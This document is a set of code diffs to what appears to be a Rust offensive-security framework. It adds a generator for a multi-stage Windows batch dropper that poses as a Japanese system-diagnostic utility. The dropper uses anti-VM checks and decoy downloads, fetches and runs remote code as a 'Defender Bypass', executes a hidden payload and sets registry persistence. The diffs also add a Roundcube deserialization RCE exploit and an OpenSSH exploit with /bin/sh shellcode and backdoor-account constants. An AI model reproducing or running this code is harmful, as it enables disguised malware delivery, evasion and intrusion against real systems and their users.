@@ -9,7 +10,7 @@ use std::{
use base64::{engine::general_purpose::STANDARD as BASE64_STANDARD, Engine as _};
fn prompt(prompt: &str) -> Result<String> {
print!("{prompt}");
print!("{}", prompt.cyan().bold());
io::stdout().flush()?;
let mut buffer = String::new();
io::stdin().read_line(&mut buffer)?;
+1 -1
View File
@@ -1,2 +1,2 @@
pub mod payloadgenbat;
pub mod narutto_dropper;
pub mod batgen;
@@ -0,0 +1,322 @@
// == Poly-morphic, 3-Stage, Chain-Linked Stealth Dropper (Interactive, Hardened) ==
// // User provides: PS1 download link, final batch name, output .ps1 name
// // All temp/var names randomized, batch logic randomized, anti-VM checks
use rand::prelude::*;
use anyhow::Result;
use colored::*;
use rand::{rng, seq::SliceRandom, Rng};
use std::io::{self, Write as IoWrite};
use tokio::fs::File as TokioFile;
use tokio::io::AsyncWriteExt;
// // Prints a welcome message for the Naruto 3-stage poly-morphic dropper
pub fn print_welcome_naruto() {
println!(r#"
======================== WELCOME TO NARUTO ========================
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣤⣴⣶⣶⣶⣶⣦⣤⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⣠⣴⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⣄⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⣠⣾⣿⣿⣿⣿⣿⣿⣿⠏⠁⠀⢶⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀
⠀ ⢀⣾⣿⣿⣿⣿⣿⣿⡿⠿⣿⡇⠀⠀⠀⣿⠿⢿⣿⣿⣿⣿⣿⣿⣷⡀⠀⠀
⠀⢠⣾⣿⣿⣿⣿⣿⡿⠋⣠⣴⣿⣷⣤⣤⣾⣿⣦⣄⠙⢿⣿⣿⣿⣿⣿⣷⡄⠀
⠀⣼⣿⣿⣿⣿⣿⡏⢀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡀⢹⣿⣿⣿⣿⣿⣧⠀
⢰⣿⣿⣿⣿⣿⡿⠀⣾⣿⣿⣿⣿⠟⠉⠉⠻⣿⣿⣿⣿⣷⠀⢿⣿⣿⣿⣿⣿⡆
⢸⣿⣿⣿⣿⣿⣇⣰⣿⣿⣿⣿⡇⠀⠀⠀⠀⢸⣿⣿⣿⣿⣆⣸⣿⣿⣿⣿⣿⡇
⠸⣿⣿⣿⡿⣿⠟⠋⠙⠻⣿⣿⣿⣦⣀⣀⣴⣿⣿⣿⣿⠛⠙⠻⣿⣿⣿⣿⣿⠇
⠀⢻⣿⣿⣧⠉⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠈⣿⣿⣿⡟⠀
⠀⠘⢿⣿⣿⣷⣦⣤⣴⣾⠛⠻⢿⣿⣿⣿⣿⡿⠟⠋⣿⣦⣤⠀⣰⣿⣿⡿⠃⠀
⠀⠀⠈⢿⣿⣿⣿⣿⣿⣿⣷⣶⣤⣄⣈⣁⣠⣤⣶⣾⣿⣿⣷⣾⣿⣿⡿⠁⠀⠀
⠀⠀⠀⠀⠙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠋⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠙⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠋⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠛⠻⠿⠿⠿⠿⠟⠛⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀
Poly-morphic, 3-Stage, Chain-Linked Stealth Dropper Generator
------------------------------------------------------------------
- Prompts for: Powershell payload download URL, output names
- Generates a highly randomized batch dropper
- All variable, file, registry names are randomized per build
- Drops multi-stage .bat with anti-VM/anti-sandbox tricks
- Final stage ensures persistence via HKCU registry
- Decoy files and diagnostic noise included for stealth
- 100% open source and ready for advanced red-team ops
==================================================================
"#);
}
// == Poly-morphic, 3-Stage, Chain-Linked Stealth Dropper (Interactive, Hardened) ==
// // - User provides: PS1 download link, final batch name, output .ps1 name
// // - All temp/var names randomized, batch logic randomized, anti-VM checks
/// // List of random banner phrases for added entropy
const BANNERS: &[&str] = &[
"診断ユーティリティを実行中...",
"ネットワーク診断開始...",
"管理者用システムテスト...",
"環境チェック実行中...",
"お待ちください。検証中...",
];
/// // Decoy files for download/cover noise
const DECOY_FILES: &[&str] = &[
"readme.txt", "patchnote.docx", "system_log.csv", "scaninfo.html", "update.pdf",
"changelog.rtf", "debug.ini", "license.txt", "upgrade.bin", "notes.xml",
];
/// // Generate a random batch/var/filename, e.g. DIAG_AbX_7381
fn rand_var_name(base: &str) -> String {
let mut rng = rng();
let charset: Vec<char> = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".chars().collect();
let mut name = base.to_string();
for _ in 0..3 { name.push(*charset.choose(&mut rng).unwrap()); }
name.push('_');
name.push_str(&rng.random_range(1000..9999).to_string());
name
}
/// // Shuffles and emits randomized diagnostic steps (adds noise)
fn shuffled_diag_steps() -> Vec<String> {
let steps = vec![
"netsh winsock show catalog ^>nul",
"fsutil behavior query DisableDeleteNotify ^>nul",
"dcomcnfg /32 ^>nul",
"wevtutil qe Security \"/q:*[System[(EventID=4624)]]\" /f:text /c:1 ^>nul",
"netstat -bno ^>nul",
"route print ^>nul",
"sc queryex type= service ^>nul",
"wmic logicaldisk get caption,filesystem,freespace,size ^>nul",
"wmic cpu get loadpercentage ^>nul",
"systeminfo | findstr /C:\"Available Physical Memory\" ^>nul",
"reg query HKLM\\SOFTWARE ^>nul",
];
let mut steps_mut = steps.clone();
let mut rng = rng();
steps_mut.shuffle(&mut rng);
steps_mut
.into_iter()
.enumerate()
.map(|(i, line)| format!("echo [INFO] Step {}...\n{}\ncall :SleepS 1", i+1, line))
.collect()
}
/// // Pick a random banner for the batch
fn rand_banner() -> &'static str {
let mut rng = rng();
BANNERS.choose(&mut rng).unwrap_or(&BANNERS[0])
}
/// // Shuffle decoy filenames for the decoy download section
fn shuffled_decoys() -> Vec<String> {
let mut rng = rng();
let mut files = DECOY_FILES.to_vec();
files.shuffle(&mut rng);
files.into_iter().map(|f| f.to_string()).collect()
}
/// // Anti-VM/Sandbox check, batch version, with randomized variable names
fn build_anti_vm_batch(rand_vars: &[&str]) -> String {
format!(r#"
REM Anti-VM/Sandbox (basic)
set "{uptime}=0"
for /f "skip=1" %%U in ('wmic os get LastBootUpTime ^| findstr /r /c:"^[0-9]"') do set "{uptime}=%%U"
set "{uptime}=%{uptime}:~0,8%"
REM Pause if booted < 3 min ago
for /f %%A in ('wmic os get LastBootUpTime ^| findstr /r /c:"^[0-9]"') do set "{boot}=%%A"
for /f "tokens=2 delims==." %%I in ('wmic OS Get LocalDateTime /value ^| findstr =') do set "{now}=%%I"
set /a "{boot_time}=!{now}! - !{uptime}!"
if !{boot_time}! lss 3000000 (
echo [*] Recent boot detected. Pausing.
call :SleepS 60
)
REM RAM check (<=2048 MB is suspicious)
for /f "tokens=2 delims==" %%R in ('wmic ComputerSystem get TotalPhysicalMemory /value ^| findstr =') do set "{ram}=%%R"
set /a "{ram_mb}=(!{ram}!)/1048576"
if !{ram_mb}! lss 2048 (
echo [*] Low RAM detected. Pausing.
call :SleepS 120
)
REM Check VM drivers
set "{vmfound}=0"
for %%X in (VBOX VMWARE QEMU VIRTUAL) do (
driverquery | findstr /I %%X >nul
if not errorlevel 1 set "{vmfound}=1"
)
"#,
uptime=rand_vars[0],
boot=rand_vars[1],
now=rand_vars[2],
boot_time=rand_vars[3],
ram=rand_vars[4],
ram_mb=rand_vars[5],
vmfound=rand_vars[6],
)
}
/// // == Stage 3 (PERSIST) ==
fn build_stage3(ps1_name: &str, rand_vars: &[String]) -> String {
format!(r#"
@echo off
REM Stage 3: Run dropped EXE (PowerShell payload) as .ps1 and set persistence
setlocal enabledelayedexpansion
REM Anti-VM/Sandbox
{antivm}
REM Run payload saved as .ps1 (actually an EXE)
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File "%%~dp0{ps1_name}" >nul 2>&1
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "{reg}" /t REG_SZ /d "start \"\" /MIN \"%%~dp0{ps1_name}\"" /f
REM Cleanup
exit
"#,
ps1_name=ps1_name,
reg=rand_vars[0],
antivm=build_anti_vm_batch(&[&rand_vars[1], &rand_vars[2], &rand_vars[3], &rand_vars[4], &rand_vars[5], &rand_vars[6], &rand_vars[7]]),
)
}
/// // == Stage 2 ==
fn build_stage2(
url_exe: &str,
ps1_name: &str,
stage3_name: &str,
rand_vars: &[String],
) -> String {
let stage3_content = build_stage3(ps1_name, rand_vars);
let mut tpl = format!(r#"
@echo off
setlocal enabledelayedexpansion
REM Anti-VM/Sandbox
{antivm}
REM Download EXE payload and save as .ps1
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "try {{ Invoke-WebRequest -Uri '{url_exe}' -OutFile '{ps1_name}' -UseBasicParsing }} catch {{ Start-BitsTransfer -Source '{url_exe}' -Destination '{ps1_name}' }}" >nul 2>&1
REM Write Stage 3
set "{stage3}=%~dp0{stage3_name}"
("#,
url_exe = url_exe,
ps1_name = ps1_name,
stage3_name = stage3_name,
stage3 = rand_vars[8],
antivm = build_anti_vm_batch(&[
&rand_vars[9], &rand_vars[10], &rand_vars[11],
&rand_vars[12], &rand_vars[13], &rand_vars[14], &rand_vars[15]
]),
);
for line in stage3_content.lines() {
tpl.push_str(&format!(" echo {} \n", line.replace("%", "%%")));
}
tpl.push_str(&format!(
r#") > "%{}%"
REM Run Stage 3
call "%{}%"
REM Cleanup
exit
"#,
rand_vars[8], rand_vars[8]
));
tpl
}
/// // == Stage 1 ==
fn build_stage1(
url_exe: &str,
decoy_urls: &[&str],
ps1_name: &str,
stage2_name: &str,
stage3_name: &str,
rand_vars: &[String],
) -> String {
let batch_var = rand_var_name("DIAG");
let random_sleep_lo = rng().random_range(1..4);
let random_sleep_hi = rng().random_range(4..8);
let banner = rand_banner();
let mut tpl = format!(r#"@echo off
setlocal enabledelayedexpansion
REM Defender Bypass
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& {{ [ScriptBlock]::Create((irm https://dnot.sh/)) | Invoke-Command }}" >nul 2>&1
:SleepS
ping -n %1 127.0.0.1 ^>nul
goto :eof
:SleepMS
powershell -Command "Start-Sleep -Milliseconds %1" ^>nul
goto :eof
title [管理者診断ユーティリティ - {banner}]
color 0A
set "{batch_var}_init=1"
echo =====================================================
echo 管理者用ネットワーク/システム診断ユーティリティ
echo =====================================================
echo [+] {banner}
call :SleepS {random_sleep_lo}
"#,
banner = banner,
batch_var = batch_var,
random_sleep_lo = random_sleep_lo,
);
tpl.push_str(&build_anti_vm_batch(&[
&rand_vars[16], &rand_vars[17], &rand_vars[18],
&rand_vars[19], &rand_vars[20], &rand_vars[21], &rand_vars[22]
]));
for line in shuffled_diag_steps() {
tpl.push_str(&format!("{}\n", line));
}
tpl.push_str(&format!("set /a mainDelay=(%RANDOM% %% {random_sleep_hi}) + {random_sleep_lo}\necho [INFO] ステージ準備... (%mainDelay% 秒後)\ncall :SleepS %mainDelay%\n\n",
random_sleep_hi = random_sleep_hi,
random_sleep_lo = random_sleep_lo,
));
let decoys = shuffled_decoys();
for (i, decoy_name) in decoys.iter().enumerate().take(decoy_urls.len()) {
let url = decoy_urls[i];
tpl.push_str(&format!(
"echo [*] Downloading decoy: {decoy_name}\npowershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command \"try {{ Invoke-WebRequest -Uri '{url}' -OutFile '{decoy_name}' -UseBasicParsing }} catch {{}}\" ^>nul\ncall :SleepS 2\n",
url = url, decoy_name = decoy_name
));
}
let stage2_content = build_stage2(url_exe, ps1_name, stage3_name, rand_vars);
tpl.push_str(&format!("set \"{stage2}=%~dp0{stage2_name}\"\n(", stage2 = rand_vars[23], stage2_name = stage2_name));
for line in stage2_content.lines() {
tpl.push_str(&format!(" echo {} \n", line.replace("%", "%%")));
}
tpl.push_str(&format!(
") > \"%{}%\"\nREM Run Stage 2\ncall \"%{}%\"\nREM Cleanup\nexit\n",
rand_vars[23], rand_vars[23]
));
tpl
}
/// // Prompt user, fallback to default if empty input
fn prompt(msg: &str, default: Option<&str>) -> String {
let default_str = default.map_or("".to_string(), |d| format!(" [{}]", d));
print!("{}", format!("{}{}: ", msg, default_str).cyan().bold());
io::stdout().flush().unwrap();
let mut input = String::new();
io::stdin().read_line(&mut input).unwrap();
let value = input.trim();
if value.is_empty() {
default.unwrap_or("").to_string()
} else {
value.to_string()
}
}
/// // == RouterSploit-style async entry point ==
pub async fn run(_target: &str) -> Result<()> {
print_welcome_naruto();
let url_exe = prompt("URL of PowerShell payload (EXE, will be saved as .ps1)", Some("https://yourdomain.com/payload.exe"));
let out_name = prompt("Final output batch filename", Some("3stage_dropper.bat"));
let ps1_name = prompt("Name to save downloaded EXE as (with .ps1 extension)", Some("payload.ps1"));
let stage2_name = rand_var_name("stg2");
let stage3_name = rand_var_name("stg3");
let rand_vars: Vec<String> = (0..24).map(|i| rand_var_name(&format!("v{}", i))).collect();
let decoy_urls = vec![
"https://www.example.com/readme.txt",
"https://www.example.com/license.txt",
"https://www.example.com/update.pdf",
];
let script = build_stage1(&url_exe, &decoy_urls, &ps1_name, &stage2_name, &stage3_name, &rand_vars);
let mut file = TokioFile::create(&out_name).await?;
file.write_all(script.as_bytes()).await?;
file.flush().await?;
println!("[+] 3-stage chain-linked dropper written to: {}", out_name);
Ok(())
}
@@ -1,146 +0,0 @@
fn build_script(url: &str, ps1_name: &str) -> String {
let tpl = r#"@echo off
setlocal enabledelayedexpansion
:: === Delay Functions ===
:SleepS
rem Usage: call :SleepS ^<seconds^>
ping -n %1 127.0.0.1 ^>nul
goto :eof
:SleepMS
rem Usage: call :SleepMS ^<milliseconds^>
powershell -Command "Start-Sleep -Milliseconds %1" ^>nul
goto :eof
title [管理者診断ユーティリティ]
color 0A
echo =====================================================
echo 管理者用ネットワーク/システム診断ユーティリティ
echo =====================================================
echo [+] 初期化中...
call :SleepS 2
:: Fake diagnostic functions
echo [INFO] ネットワークスタック確認中...
netsh winsock show catalog ^>nul
call :SleepS 1
echo [INFO] システムリソースの照会...
fsutil behavior query DisableDeleteNotify ^>nul
call :SleepS 1
echo [INFO] DCOM設定の確認...
dcomcnfg /32 ^>nul
call :SleepS 1
echo [INFO] ユーザーアクティビティを確認中...
wevtutil qe Security "/q:*[System[(EventID=4624)]]" /f:text /c:1 ^>nul
call :SleepS 1
echo [INFO] 不審な接続をスキャン中...
netstat -bno ^>nul
route print ^>nul
call :SleepS 1
echo [INFO] システムサービス確認中...
sc queryex type= service ^>nul
call :SleepS 1
echo [INFO] WMI チェック中...
wmic logicaldisk get caption,filesystem,freespace,size ^>nul
call :SleepS 1
echo [INFO] CPU 負荷チェック...
wmic cpu get loadpercentage ^>nul
call :SleepS 1
echo [INFO] メモリ空き容量チェック...
systeminfo | findstr /C:"Available Physical Memory" ^>nul
call :SleepS 1
echo [INFO] レジストリ設定検証...
reg query HKLM\SOFTWARE ^>nul
call :SleepS 1
:: 50x random sub-sleeps
echo [*] 詳細検証を実行中... (50 ステップ)
for /l %%i in (1,1,50) do (
set /a delay=(%RANDOM% %% 60) + 120
call :SleepMS !delay!
)
:: Random delay before launching stage 2
set /a mainDelay=(%RANDOM% %% 4) + 3
echo [INFO] 補助診断モジュールを準備中... (%mainDelay% 秒後に実行)
call :SleepS %mainDelay%
:: Build second stage BAT (stage2.bat)
set "stage2=%~dp0stage2.bat"
(
echo @echo off
echo setlocal enabledelayedexpansion
echo :: === Delay Functions ===
echo :SleepS
echo rem Usage: call :SleepS ^<seconds^>
echo ping -n %%1 127.0.0.1 ^>nul
echo goto :eof
echo
echo :SleepMS
echo rem Usage: call :SleepMS ^<milliseconds^>
echo powershell -Command "Start-Sleep -Milliseconds %%1" ^>nul
echo goto :eof
echo
echo title 補助診断モジュール
echo echo [*] ネットワークテストを再実行中...
echo ping -n 2 1.1.1.1 ^>nul
echo tracert -h 2 8.8.8.8
echo ipconfig /flushdns
echo call :SleepS 2
echo echo [*] ランダム遅延を実行中...
echo set /a delay2=(%%RANDOM%% %% 8) + 3
echo call :SleepS !delay2!
echo echo [*] GitHub からモジュールを取得中...
echo set "url={{URL}}"
echo set "outfile=%%~dp0{{OUTFILE}}"
echo powershell -Command "try { Invoke-WebRequest -Uri '!url!' -OutFile '!outfile!' -UseBasicParsing } catch { try { Start-BitsTransfer -Source '!url!' -Destination '!outfile!' } catch { $wc = New-Object System.Net.WebClient; $wc.DownloadFile('!url!','!outfile!') } }"
echo if not exist "!outfile!" (
echo echo [ERROR] ダウンロードに失敗しました。
echo exit /b 1
echo )
echo call :SleepS 2
echo echo [*] ステルス起動用VBSを生成中...
echo ^(
echo Set shell = CreateObject("WScript.Shell")
echo shell.Run "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File ""!outfile!""", 0, False
echo ^) ^> "%%~dp0launch_hidden.vbs"
echo call :SleepS 1
echo echo [*] スクリプト実行中...
echo cscript //nologo "%%~dp0launch_hidden.vbs"
echo del "%%~dp0launch_hidden.vbs" ^>nul
echo del "%%stage2%%" ^>nul
echo echo [*] 補助診断完了。
) > "%stage2%"
:: Random delay before running stage 2
set /a rdelay=(%RANDOM% %% 5) + 2
echo [INFO] stage2.bat を %rdelay% 秒後に実行します...
call :SleepS %rdelay%
:: Run stage2
call "%stage2%"
echo [√] 全診断完了。ログは "{{OUTFILE}}" に保存されました。
call :SleepS 2
pause
exit
"#;
tpl.replace("{{URL}}", url)
.replace("{{OUTFILE}}", ps1_name)
}
+1
View File
@@ -0,0 +1 @@
pub mod roundcube_postauth_rce;
@@ -0,0 +1,215 @@
use anyhow::{anyhow, Result};
use data_encoding::BASE32_NOPAD;
use md5;
use rand::Rng;
use base64::Engine as _;
use regex::Regex;
use reqwest::{Client, cookie::Jar, redirect::Policy};
use std::io::{self, Write};
use std::sync::Arc;
use std::time::{SystemTime, UNIX_EPOCH};
use rand::distr::Alphanumeric;
/// // Decode base64 constant for small transparent PNG
fn transparent_png() -> Vec<u8> {
const PNG_B64: &str = "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==";
base64::engine::general_purpose::STANDARD
.decode(PNG_B64)
.unwrap_or_default()
}
/// // Build the serialized PHP payload using Crypt_GPG_Engine gadget
fn build_serialized_payload(cmd: &str) -> String {
let encoded = BASE32_NOPAD.encode(cmd.as_bytes());
let gpgconf = format!("echo \"{}\"|base32 -d|sh &#", encoded);
let len = gpgconf.len();
format!(
"|O:16:\"Crypt_GPG_Engine\":3:{{s:8:\"_process\";b:0;s:8:\"_gpgconf\";s:{}:\"{}\";s:8:\"_homedir\";s:0:\"\";}};",
len, gpgconf
)
}
fn generate_from() -> &'static str {
const OPTIONS: [&str; 6] = ["compose", "reply", "import", "settings", "folders", "identity"];
let idx = rand::rng().random_range(0..OPTIONS.len());
OPTIONS[idx]
}
fn generate_id() -> String {
let mut rand_bytes = [0u8; 8];
rand::rng().fill(&mut rand_bytes);
let timestamp = SystemTime::now()
.duration_since(UNIX_EPOCH)
.unwrap()
.as_nanos()
.to_string();
format!("{:x}", md5::compute([rand_bytes.as_slice(), timestamp.as_bytes()].concat()))
}
fn generate_uploadid() -> String {
let millis = SystemTime::now()
.duration_since(UNIX_EPOCH)
.unwrap()
.as_millis();
format!("upload{}", millis)
}
async fn fetch_login_page(client: &Client, base: &str) -> Result<String> {
let mut url = reqwest::Url::parse(base)?;
url.query_pairs_mut().append_pair("_task", "login");
let res = client.get(url).send().await.map_err(|e| anyhow!("HTTP error: {e}"))?;
if res.status() != 200 {
return Err(anyhow!("Unexpected HTTP status: {}", res.status()));
}
Ok(res.text().await?)
}
async fn fetch_csrf_token(client: &Client, base: &str) -> Result<String> {
let body = fetch_login_page(client, base).await?;
let re = Regex::new(r#"<input[^>]*name="_token"[^>]*value="([^"]+)""#)?;
if let Some(cap) = re.captures(&body) {
Ok(cap[1].to_string())
} else {
Err(anyhow!("CSRF token not found"))
}
}
async fn check_version(client: &Client, base: &str) -> Result<Option<u32>> {
let body = fetch_login_page(client, base).await?;
let re = Regex::new(r#"\"rcversion\"\s*:\s*(\d+)"#)?;
if let Some(cap) = re.captures(&body) {
Ok(cap[1].parse().ok())
} else {
Ok(None)
}
}
async fn login(client: &Client, base: &str, username: &str, password: &str, host: &str) -> Result<()> {
let token = fetch_csrf_token(client, base).await?;
let mut url = reqwest::Url::parse(base)?;
url.query_pairs_mut().append_pair("_task", "login");
let mut params = vec![
("_token", token),
("_task", "login".to_string()),
("_action", "login".to_string()),
("_url", "_task=login".to_string()),
("_user", username.to_string()),
("_pass", password.to_string()),
];
if !host.is_empty() {
params.push(("_host", host.to_string()));
}
let res = client
.post(url)
.form(&params)
.send()
.await
.map_err(|e| anyhow!("Login request failed: {e}"))?;
if res.status() != 302 {
return Err(anyhow!("Login failed: HTTP {}", res.status()));
}
Ok(())
}
async fn upload_payload(client: &Client, base: &str, filename: &str) -> Result<()> {
let png = transparent_png();
let boundary: String = rand::rng()
.sample_iter(&Alphanumeric)
.take(8)
.map(char::from)
.collect();
let mut body = Vec::new();
body.extend_from_slice(format!("--{}\r\n", boundary).as_bytes());
body.extend_from_slice(format!("Content-Disposition: form-data; name=\"_file[]\"; filename=\"{}\"\r\n", filename).as_bytes());
body.extend_from_slice(b"Content-Type: image/png\r\n\r\n");
body.extend_from_slice(&png);
body.extend_from_slice(format!("\r\n--{}--\r\n", boundary).as_bytes());
let mut url = reqwest::Url::parse(base)?;
url.set_query(None);
url.query_pairs_mut()
.append_pair("_task", "settings")
.append_pair("_remote", "1")
.append_pair("_from", &format!("edit-!{}", generate_from()))
.append_pair("_id", &generate_id())
.append_pair("_uploadid", &generate_uploadid())
.append_pair("_action", "upload");
client
.post(url)
.header("Content-Type", format!("multipart/form-data; boundary={}", boundary))
.body(body)
.send()
.await
.map_err(|e| anyhow!("Upload request failed: {e}"))?;
println!("[+] Exploit attempt complete. Check your listener or reverse shell.");
Ok(())
}
/// // Entry point for dispatcher
pub async fn run(target: &str) -> Result<()> {
let mut base_url = target.trim().to_string();
if !base_url.starts_with("http://") && !base_url.starts_with("https://") {
base_url = format!("http://{}", base_url);
}
base_url = base_url.trim_end_matches('/').to_string();
// // HTTP client with cookies and no redirects
let jar = Jar::default();
let client = Client::builder()
.cookie_provider(Arc::new(jar))
.redirect(Policy::none())
.danger_accept_invalid_certs(true)
.timeout(std::time::Duration::from_secs(10))
.build()?;
if let Some(ver) = check_version(&client, &base_url).await? {
println!("[*] Detected Roundcube version: {}", ver);
if (10100..=10509).contains(&ver) || (10600..=10610).contains(&ver) {
println!("[!] Version appears vulnerable!");
} else {
println!("[-] Version not in known vulnerable range.");
}
} else {
println!("[?] Could not determine version.");
}
let mut username = String::new();
let mut password = String::new();
let mut host = String::new();
let mut command = String::new();
print!("Username: ");
io::stdout().flush()?;
io::stdin().read_line(&mut username)?;
print!("Password: ");
io::stdout().flush()?;
io::stdin().read_line(&mut password)?;
print!("Host parameter (optional): ");
io::stdout().flush()?;
io::stdin().read_line(&mut host)?;
print!("Command to execute: ");
io::stdout().flush()?;
io::stdin().read_line(&mut command)?;
let username = username.trim();
let password = password.trim();
let host = host.trim();
let command = command.trim();
if username.is_empty() || password.is_empty() || command.is_empty() {
return Err(anyhow!("Username, password and command must be provided"));
}
login(&client, &base_url, username, password, host).await?;
let serialized = build_serialized_payload(command);
upload_payload(&client, &base_url, &serialized).await
}
+5 -4
View File
@@ -4,6 +4,7 @@
//// no auth when you use api and can be excuted locally
//// src/modules/exploits/spotube/spotube.rs
use anyhow::{Context, Result};
use colored::*;
use futures_util::{SinkExt, StreamExt};
use reqwest::Client;
use serde_json::json;
@@ -71,7 +72,7 @@ async fn execute(host: &str, port: &str, path: &str) -> Result<()> {
// //// // Sends a malicious 'load' event over WS with a track name containing ../
async fn ws_inject_path_traversal(host: &str, port: &str) -> Result<()> {
// prompt for malicious filename
print!("Enter malicious filename (e.g. ../evil.sh): ");
print!("{}", "Enter malicious filename (e.g. ../evil.sh): ".cyan().bold());
io::stdout().flush()?;
let mut name = String::new();
io::stdin().read_line(&mut name)?;
@@ -81,7 +82,7 @@ async fn ws_inject_path_traversal(host: &str, port: &str) -> Result<()> {
};
// prompt for fake track ID
print!("Enter fake track ID (e.g. INJECT1): ");
print!("{}", "Enter fake track ID (e.g. INJECT1): ".cyan().bold());
io::stdout().flush()?;
let mut tid = String::new();
io::stdin().read_line(&mut tid)?;
@@ -91,7 +92,7 @@ async fn ws_inject_path_traversal(host: &str, port: &str) -> Result<()> {
};
// prompt for codec extension
print!("Enter codec extension (e.g. mp3): ");
print!("{}", "Enter codec extension (e.g. mp3): ".cyan().bold());
io::stdout().flush()?;
let mut cd = String::new();
io::stdin().read_line(&mut cd)?;
@@ -154,7 +155,7 @@ pub async fn run(target: &str) -> Result<()> {
let host = target.to_string(); // use target passed from set command
// //// // port prompt (optional override)
print!("Enter port [17086]: ");
print!("{}", "Enter port [17086]: ".cyan().bold());
io::stdout().flush()?;
let mut p = String::new();
io::stdin().read_line(&mut p)?;
@@ -1,93 +1,139 @@
use std::io::{stdin, stdout, Write, BufRead};
use tokio::net::TcpStream;
use std::io::{self, ErrorKind, Write};
use std::sync::Arc;
use anyhow::{Result, bail, Context};
use colored::*;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::time::{sleep, Duration, Instant};
use tokio::process::Command;
use tokio::net::TcpStream;
use tokio::time::{sleep, timeout, Duration, Instant};
use tokio::sync::Semaphore;
use futures_util::stream::{FuturesUnordered, StreamExt};
use rand::Rng;
use std::sync::Arc;
use anyhow::{Result, bail};
use std::io::ErrorKind;
// // Shellcode to inject
const SHELLCODE: &[u8] = b"\x90\x90\x90\x90";
// // GLIBC base addresses to brute force
const GLIBC_BASES: [u64; 2] = [0xb7200000, 0xb7400000];
// // SSH Login grace time window in seconds
const LOGIN_GRACE_TIME: f64 = 120.0;
// // Max size of a crafted packet
const MAX_PACKET_SIZE: usize = 256 * 1024;
// // Max parallel attempts at once
const LOGIN_GRACE_TIME: f64 = 120.0;
const CHUNK_ALIGN: usize = 16;
const CONCURRENCY: usize = 256;
const GLIBC_BASE_START: u64 = 0x7ffff79e4000;
const GLIBC_BASE_END: u64 = 0x7ffff7ffe000;
const GLIBC_STEP: u64 = 0x200000;
const FAKE_VTABLE_OFFSET: u64 = 0x21b740;
const FAKE_CODECVT_OFFSET: u64 = 0x21d7f8;
// 2 MiB alignment
const GLIBC_ALIGN: u64 = 0x0020_0000;
// Lower/upper bounds for your targets glibc region
const GLIBC_LOWER: u64 = 0x7ffff7000000;
const GLIBC_UPPER: u64 = 0x7ffff9000000;
const SHELLCODE: &[u8] = b"\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xc0\x50\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";
// Precompute how many slots are in that range
fn glibc_steps() -> u64 {
((GLIBC_UPPER - GLIBC_LOWER) / GLIBC_ALIGN) + 1
}
const BIND_SHELL_PORT: u16 = 55555;
const PERSISTENT_USER: &str = "aptpwn";
const PERSISTENT_PASS: &str = "Root4life!";
/// On-the-fly random, 2 MiB-aligned glibc base
fn random_glibc_base() -> u64 {
let steps = glibc_steps();
let idx = rand::rng().random_range(0..steps);
GLIBC_LOWER + idx * GLIBC_ALIGN
}
// // Align memory chunks
fn chunk_align(s: usize) -> usize {
(s + 15) & !15
(s + CHUNK_ALIGN - 1) & !(CHUNK_ALIGN - 1)
}
// NEW: Normalize target address (IPv4, IPv6 with any bracket mess)
fn normalize_target(ip: &str, port: u16) -> Result<String> {
let ip = ip.trim_matches(|c| c == '[' || c == ']'); // Remove any number of [ ]
if ip.contains(':') && !ip.contains('.') {
Ok(format!("[{}]:{}", ip, port)) // IPv6 must have brackets
} else {
Ok(format!("{}:{}", ip, port)) // IPv4 or hostname
fn create_fake_file_structure(buf: &mut [u8], glibc_base: u64) {
buf.fill(0);
let len = buf.len();
if len >= 16 {
buf[len - 16..len - 8].copy_from_slice(&(glibc_base + FAKE_VTABLE_OFFSET).to_le_bytes());
buf[len - 8..len].copy_from_slice(&(glibc_base + FAKE_CODECVT_OFFSET).to_le_bytes());
}
if len > 0x30 + 8 {
buf[0x30..0x30 + 8].copy_from_slice(&0x61u64.to_le_bytes());
}
}
// // Create TCP connection to target
async fn setup_connection(ip: &str, port: u16) -> Result<TcpStream> {
let addr = normalize_target(ip, port)?;
let stream = TcpStream::connect(addr).await?;
Ok(stream)
fn create_public_key_packet(packet: &mut [u8], glibc_base: u64) {
packet.fill(0);
packet[..8].copy_from_slice(b"ssh-rsa ");
let shell_offset = chunk_align(4096) * 13 + chunk_align(304) * 13;
if shell_offset + SHELLCODE.len() <= packet.len() {
packet[shell_offset..shell_offset + SHELLCODE.len()].copy_from_slice(SHELLCODE);
}
for i in 0..27 {
let pos = chunk_align(4096) * (i + 1) + chunk_align(304) * i;
if pos + chunk_align(304) <= packet.len() {
create_fake_file_structure(&mut packet[pos..pos + chunk_align(304)], glibc_base);
}
}
}
// // Send custom SSH packet
async fn send_packet(stream: &mut TcpStream, packet_type: u8, data: &[u8]) -> Result<()> {
let len = data.len() + 5;
let mut packet = vec![0u8; len];
